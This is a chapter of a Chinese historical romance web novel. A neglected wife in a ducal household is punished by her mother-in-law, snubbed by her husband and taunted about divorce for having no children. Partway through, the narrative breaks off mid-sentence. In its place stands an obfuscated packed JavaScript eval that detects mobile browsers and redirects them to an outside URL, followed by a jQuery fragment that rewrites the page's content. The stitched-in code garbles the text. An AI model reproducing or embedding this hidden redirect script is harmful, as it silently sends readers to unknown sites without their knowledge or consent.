谢临序坐在她对面净手,他道:“你自己昨日不知节制,今晨起不来身,这要怪我头上?”
昨日。
不知节制。
丫鬟们在一旁候着,听着世子同夫人谈话也都不敢插嘴,只是不约而同也都想起了昨个儿夜里头的事......
昨日夜里头,世子同夫人行了房事,动静格外得大,夫人的声儿极其露骨,就连屋外都听得真切。
听得谢临序这样说,宋醒月自也想起了昨夜的事,许是知道昨夜过火,也难得羞赧,红着脸便不再说了。
算了,这事也没甚好深究下去的,便是谢临序故意给她难堪,她也没地方说去。
天王老子来了也左不过他。
一直到了夜深时候,宋醒月净过身,坐在铜镜前擦着香膏,脸上擦了,脖子上,手腕上也都擦了,她一边动作着,一边心不在焉想着事,连谢临序已经上了床都不曾注意。
最后还是谢临序把她的神思唤回来。
“还不睡,要坐到何时?”
宋醒月听出他要歇息,回了神来,去吹了灯便上了榻。
黑夜之中,只剩下两人交错的呼吸声。
竟是谢临序主动开口说了句话。
昏暝之中,他的声音更叫凉薄。
“今日母亲罚你抄什么了?”
“《女戒》。”宋醒月笑了一声,轻声复述起了下午抄写的那些内容,“夫者天也,天固不可逃,夫固不可离也......清闲贞静,守节整齐,行己有耻,动静有法,是谓妇德......抄了好多好多呢,头疼,手也疼......”
国公夫人和她那弟妹讥她怀不上孩子,她一边抄着书,一边听着她们说的话,头都隐隐泛疼。
宋醒月话说着说着,话音忽然委顿了片刻,她想到了什么,偏过头去看向谢临序,今夜无月,黑暗中,并不能看清楚什么,只能依稀看到身侧人模糊的轮廓。
“长舟,不会是因为我昨个儿晚上叫得厉害了一些,你便故意让母亲罚我吧?”宋醒月轻笑了一声,道:“你跟我说嘛,我以后不吭声就是了,我抄了一天的书,手到现在都好疼呢。”
谢临序故意不让人喊她起身是故意的。
而婆母不喜欢她,他不是不知道的。
谢临序默了许久,几乎是要默认她的这个说法,一直到很久,宋醒月本以为他都不会出声,却听他淡着声反问道:“你以前难道没有在床上吭过声?”
除了一开始嫁进国公府的时候,宋醒月胆子小,也怕他,在床上一直是不大吭声的,后来,大抵是知道他除了给她冷脸以外,其实也不会对她怎么样,她的胆子便越发大起来了,也不怎么避讳床上事了,没再藏着掖着不吭声了。
谢临序虽确是过分得守规守礼,却也从没有为这些事和她怄气。
毕竟男女之事实属人之常情,他若为这事生气羞恼,也太没意思了一些。
那是其他的原因?
宋醒月不明白了,她到底还有哪里得罪过他了。
她想不通,便没继续再想下去了,累了整一日,混着浓重的黑夜,竟就这样昏昏沉沉睡过去了。
这日歇下得早,等到翌日,天才透亮,宋醒月便也醒了过来。
身边已经没了人,她伸手去摸,发现谢临序躺过的枕席已然没了热气,心下一惊,怕他又是丢下自己先去请安,便匆匆忙忙也起了身。
恰好她的贴身丫鬟从屋外进来,见她一脸惊慌,忙放下了手上的物什,上前问道:“小姐,你这是怎么了,大早上的,这么急做些什么呢?”
这丫鬟不过十六年纪,名唤丹萍,是同她一道从娘家过来的陪嫁丫鬟。
宋醒月边起身,边问她道:“世子爷呢?可曾走了?”
按理说谢临序平日要去早朝,也用不着去荣明堂请安,可近些时日罢了早朝,夫妻二人都是一道去荣明堂。
若是这回谢临序又如昨日一样直接走了,她怕又少不得受敬溪磋磨。
丹萍的话叫她定了定心,她道:“世子爷还在呢,在外边看着书。”
听闻谢临序还不曾离开,宋醒月终松出了一口气,也不敢再耽搁,洗漱过后,换了一身衣裳便出了门去。
待她从里间出去的时候,正见谢临序起身欲走,宋醒月装看不见,如常跟了上去,笑吟吟道:“长舟,早啊,我好了,我们走吧。”
谢临序分明都要丢她一个人走了,她也能装作没看见。
这两年来,宋醒月一直如此。
不管谢临序如何冷脸,如何待她,她都这幅样子,恍若谢临序的冷脸不是甩给她看的,是甩给谢家其他人看似的。
宋醒月脸皮是厚,厚到能唾面自干的地步,厚到了谢临序都懒得同她计较的地步了,这两年,他对她早也无言。
一开始的时候,还会说些讥讽不喜她的话,到了后来,这些话也懒怠去说了。
谢临序此刻便一如往常那般,不曾理会她的话,仍旧是一个人自顾自往外去。
宋醒月跟在他的身后,亦步亦趋往荣明堂去。
到荣明堂也不算是晚,旁的人都还没到。
敬溪公主一如往常,趁着早上这会功夫多和谢临序说几句话,宋醒月被晾在旁边,也没敢插话。
约莫又过一刻钟的功夫,谢家的二公子和二少夫人黄氏,也都先后脚来了这处。
都说先成家后立业,像谢临序那样年纪轻轻就已经立业的毕竟是少数,二公子谢临复而今才十九年岁,正在家中备着科举,还未致仕,前一年娶的礼部尚书黄家的三小姐,两人动作快,不到一年,黄氏肚子里头就有了动静。
这尚书府家的小姐,出身高,是正儿八经的嫡女,而宋醒月的父亲不过六品人家。
在京城这地方,往天上丢个石子,掉地上都能砸到个官来,六品的官,切实是有些不堪入目了,在寻常人家里头论起倒也还好,偏这样的人家,和国公府攀上了亲家,说出去都有些招人笑了。
黄氏自从嫁到了谢家之后,对这嫂子是一直看不上眼的。
这不,进了里屋后,黄氏同谢临序还有敬溪公主见了礼后,便一直高昂着脖颈,不曾理会过宋醒月。
谢临复脾气倒是这个家里头最好的一个,同母亲、兄嫂见了礼后,见妻子这幅模样,便又去扯她的衣袖,示意她不要对嫂子如此无礼。
黄氏哪里理他,默不吭声,被他拉扯烦了,半怒半嗔他道:“拉拉扯扯做甚?身上痒去净身。”
谢临复说不动她,便也算了,只冲宋醒月不好意思笑笑。
宋醒月自是不会将这事放在心上。
一行人那话聊着聊着,便又是不知不觉说到了孩子上面,宋醒月慢慢吃着手上的茶,眼眸低垂着,没能插嘴。
可不知是谁,忽地幽幽开了口:“民间有句俚语说得在理,说是不孝有三,无后为大,三年无所出的话,休妻好像也在理......”
这话如一记铁锤砸了过来,砸得宋醒月耳朵都有些发懵,以至于她都要辨认不出这话是敬溪说的,还是黄氏说的。
这话实在是太露骨了一些,宋醒月忽地有些耳鸣,在这一刻,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15901434|176653||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
神思竟有些混沌,以至于,竟莫名想起了两年前刚嫁进谢家那会。
她能嫁给谢临序,完全是因为一场意外的风流。
那是一场宴席,她的衣服上不甚洒了酒水,起身往净室去换衣裳,在路上,她意外碰到了步伐略微混乱的谢临序,他看着神情不对,只身一人。
她疑心他是发了症,跟在了他的身后。
他步履匆匆进了静室之中,然后,她也跟了进去......
再然后,就发生了那样的事。
那个时候,宋醒月是认识谢临序的,但他大概是不认识她的。
谢家五世高门,祖上是跟过皇帝打江山的人物,一代代国公承袭至今,而今家主国公爷时任吏部尚书。
两年前,谢临序才二十岁,刚及冠。
他十九岁的时候在殿试之中得中探花。
出身高门,少年成名,那两年中,他是京城风头最盛的少年郎。
骨重神寒天宙器,甲冠天下谢临序。
吹捧他的话,从京城传到村夫野老之间,没人不认得他,虽然没见过他的风姿绰约,可谢临序这三个字大家也多少都是听过的。
结果就因为那次宴席上,她和他有了夫妻之实,就这样和他绑到了一起。
宋醒月的父亲知道了这事之后,一哭二闹三上吊,就差在谢家门前撒泼打滚要个交代回来了,国公府的人那段时日都闭门不出,生怕一出门就碰了这么个晦气。
这事在当时闹得很大,还闹到了圣上的耳朵里头去。
而谢临序本来是有一桩婚约在身的,就这样被毁了......
女方家里头,嫌弃这事实在闹得难看,便让谢家人给交代,谢家最后给出的交代,自然也只能是悔婚。
那段时日,是宋醒月备受煎熬的一段时日,她每日躺下睡觉前,都疑心自己要看不到第二日的太阳,按那些大户人家的手段来说,若是狠心些,直接把她,甚至是她家那个闹事的父亲抛了尸都不难。
最后,或许是她爹脸皮实在太厚,又或许是这件事实在是闹得难看,其中究竟是什么缘由,宋醒月到现在也猜不出来,只最后竟真叫她捡了个世子夫人回来当。
可谢临序的性子太傲,当初出了那样的事,他被逼着娶了她,心中没有怨气也是不可能。
国公府的人,性子也都和谢临序一样傲,他们硬生生吃了这一桩哑巴亏,能让她在谢家有安生过,那说出去都能叫人笑话。
而刚嫁进来的那段时日最不好过。
谢临序大概以为是她下的药,从来没给过她什么好脸色,大婚之夜,他厌极她,连面都没露过,留她一人独守空房,再后来,不管她怎么讨好他,他都冷着眼看她。
谢家的其他人也不怎么给她好脸色,尤其是敬溪,最喜欢磋磨她。
刚开始嫁进来的那会,宋醒月还会怕谢临序,可是后来,渐渐就习惯了。
谢临序除了冷脸外,又不打她,她那么怕他做些什么。
就这样过下去,她习惯了那样的日子,习惯了在国公府的种种难堪,然而,如今乍一听什么“不孝有三,无后为大”的话,还是心口一紧。
堂屋里头分明放着冰鉴,可宋醒月却莫名觉得焦灼心闷。
她脸色不大好,本来正端着茶盏轻抿,叫那“休妻”二字说得猛地呛了一口,连着咳了好几声。
她放下了手上的杯盏,因着情绪有些不定,没注意着力道,杯盏相碰,发出一声极脆的声响,在略微安静的环境中,格外明显。
这是一个极其失礼的动作。